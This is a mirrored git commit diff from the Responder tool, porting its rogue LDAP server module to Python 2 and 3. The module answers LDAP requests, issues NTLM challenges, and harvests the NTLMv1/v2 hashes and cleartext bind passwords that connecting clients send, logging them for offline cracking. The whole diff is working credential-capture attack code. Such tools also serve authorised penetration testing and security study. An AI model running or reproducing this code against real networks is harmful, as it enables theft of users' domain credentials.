mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-07 05:21:22 -07:00
Added py3 and py2 compatibility + many bugfix
This commit is contained in:
parent
c52843a535
commit
b510b2bb25
49 changed files with 2771 additions and 2058 deletions
|
@ -14,37 +14,44 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from SocketServer import BaseRequestHandler
|
||||
import sys
|
||||
if (sys.version_info > (3, 0)):
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
||||
from utils import *
|
||||
import struct
|
||||
import codecs
|
||||
|
||||
def ParseSearch(data):
|
||||
if re.search(r'(objectClass)', data):
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
|
||||
elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data):
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
if re.search(b'(objectClass)', data):
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1')))
|
||||
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
|
||||
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
|
||||
|
||||
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
||||
SSPIStart = data.find('NTLMSSP')
|
||||
SSPIString = data[SSPIStart:]
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
SSPIString = data[SSPIStart:]
|
||||
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
|
||||
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
||||
|
||||
if NthashLen == 24:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
|
@ -56,37 +63,37 @@ def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
|||
})
|
||||
|
||||
if NthashLen > 60:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'NTLMv2',
|
||||
'type': 'NTLMv2-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
if LMhashLen < 2 and settings.Config.Verbose:
|
||||
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
||||
print(text("[LDAP] Ignoring anonymous NTLM authentication"))
|
||||
|
||||
def ParseNTLM(data,client, Challenge):
|
||||
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
|
||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
|
||||
if re.search(b'(NTLMSSP\x00\x01\x00\x00\x00)', data):
|
||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9].decode('latin-1'),NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
NTLMChall.calculate()
|
||||
return str(NTLMChall)
|
||||
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
||||
return NTLMChall
|
||||
elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
||||
ParseLDAPHash(data, client, Challenge)
|
||||
|
||||
def ParseLDAPPacket(data, client, Challenge):
|
||||
if data[1:2] == '\x84':
|
||||
if data[1:2] == b'\x84':
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||
Operation = data[9:10]
|
||||
|
@ -94,14 +101,14 @@ def ParseLDAPPacket(data, client, Challenge):
|
|||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
|
||||
if Operation == "\x60":
|
||||
if Operation == b'\x60':
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen]
|
||||
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
|
||||
if AuthHeaderType == "\x80":
|
||||
if AuthHeaderType == b'\x80':
|
||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen].decode('latin-1')
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'Cleartext',
|
||||
|
@ -111,24 +118,24 @@ def ParseLDAPPacket(data, client, Challenge):
|
|||
'fullhash': UserDomain+':'+Password,
|
||||
})
|
||||
|
||||
if sasl == "\xA3":
|
||||
if sasl == b'\xA3':
|
||||
Buffer = ParseNTLM(data,client, Challenge)
|
||||
return Buffer
|
||||
|
||||
elif Operation == "\x63":
|
||||
elif Operation == b'\x63':
|
||||
Buffer = ParseSearch(data)
|
||||
return Buffer
|
||||
|
||||
elif settings.Config.Verbose:
|
||||
print text('[LDAP] Operation not supported')
|
||||
print(text('[LDAP] Operation not supported'))
|
||||
|
||||
if data[5:6] == '\x60':
|
||||
UserLen = struct.unpack("<b",data[11:12])[0]
|
||||
UserString = data[12:12+UserLen]
|
||||
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
|
||||
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen]
|
||||
if settings.Config.Verbose:
|
||||
print text('[LDAP] Attempting to parse an old simple Bind request.')
|
||||
if data[5:6] == b'\x60':
|
||||
UserLen = struct.unpack("<b",data[11:12])[0]
|
||||
UserString = data[12:12+UserLen].decode('latin-1')
|
||||
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
|
||||
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
|
||||
if settings.Config.Verbose:
|
||||
print(text('[LDAP] Attempting to parse an old simple Bind request.'))
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'Cleartext',
|
||||
|
@ -143,12 +150,12 @@ class LDAP(BaseRequestHandler):
|
|||
try:
|
||||
self.request.settimeout(0.4)
|
||||
data = self.request.recv(8092)
|
||||
Challenge = RandomChallenge()
|
||||
for x in range(5):
|
||||
Challenge = RandomChallenge()
|
||||
for x in range(5):
|
||||
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
|
||||
if Buffer:
|
||||
self.request.send(Buffer)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = self.request.recv(8092)
|
||||
except:
|
||||
pass
|
||||
pass
|
||||
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue